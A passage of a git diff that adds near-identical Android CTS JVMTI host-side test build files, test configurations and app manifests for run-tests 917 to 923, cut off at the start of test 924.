+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest917DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml
new file mode 100644
index 0000000..114aa4c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-917/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_917">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="917" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_917" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-918/Android.mk b/hostsidetests/jvmti/run-tests/test-918/Android.mk
new file mode 100644
index 0000000..5d6f8d0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest918HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
new file mode 100644
index 0000000..4a3feb1
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest918DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_918" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest918HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest918DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_918" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/Android.mk b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
new file mode 100644
index 0000000..30f9597
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest918DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml
new file mode 100644
index 0000000..96ce8aa
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-918/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_918">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="918" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_918" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-919/Android.mk b/hostsidetests/jvmti/run-tests/test-919/Android.mk
new file mode 100644
index 0000000..8916d6e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest919HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
new file mode 100644
index 0000000..3183ad3
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest919DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_919" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest919HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest919DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_919" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/Android.mk b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
new file mode 100644
index 0000000..a9b7089
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest919DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml
new file mode 100644
index 0000000..7ce0424
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-919/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_919">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="919" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_919" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-920/Android.mk b/hostsidetests/jvmti/run-tests/test-920/Android.mk
new file mode 100644
index 0000000..f92ed94
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest920HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
new file mode 100644
index 0000000..ba53a64
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest920DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_920" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest920HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest920DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_920" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/Android.mk b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
new file mode 100644
index 0000000..a24d668
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest920DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml
new file mode 100644
index 0000000..1c85104
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-920/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_920">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="920" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_920" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-922/Android.mk b/hostsidetests/jvmti/run-tests/test-922/Android.mk
new file mode 100644
index 0000000..2de665a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest922HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
new file mode 100644
index 0000000..2b74f07
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest922DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_922" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest922HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest922DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_922" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/Android.mk b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
new file mode 100644
index 0000000..ada0edc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest922DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml
new file mode 100644
index 0000000..985352d
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-922/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_922">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="922" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_922" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-923/Android.mk b/hostsidetests/jvmti/run-tests/test-923/Android.mk
new file mode 100644
index 0000000..dd1de3c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest923HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
new file mode 100644
index 0000000..9c8aa21
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest923DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_923" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest923HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest923DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_923" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/Android.mk b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
new file mode 100644
index 0000000..c94d431
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest923DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml
new file mode 100644
index 0000000..3c8bced
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-923/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_923">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="923" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_923" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-924/Android.mk b/hostsidetests/jvmti/run-tests/test-924/Android.mk
new file mode 100644
index 0000000..28c4b89
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-924/Android.mk
@@ -0,0 +1,26 @@
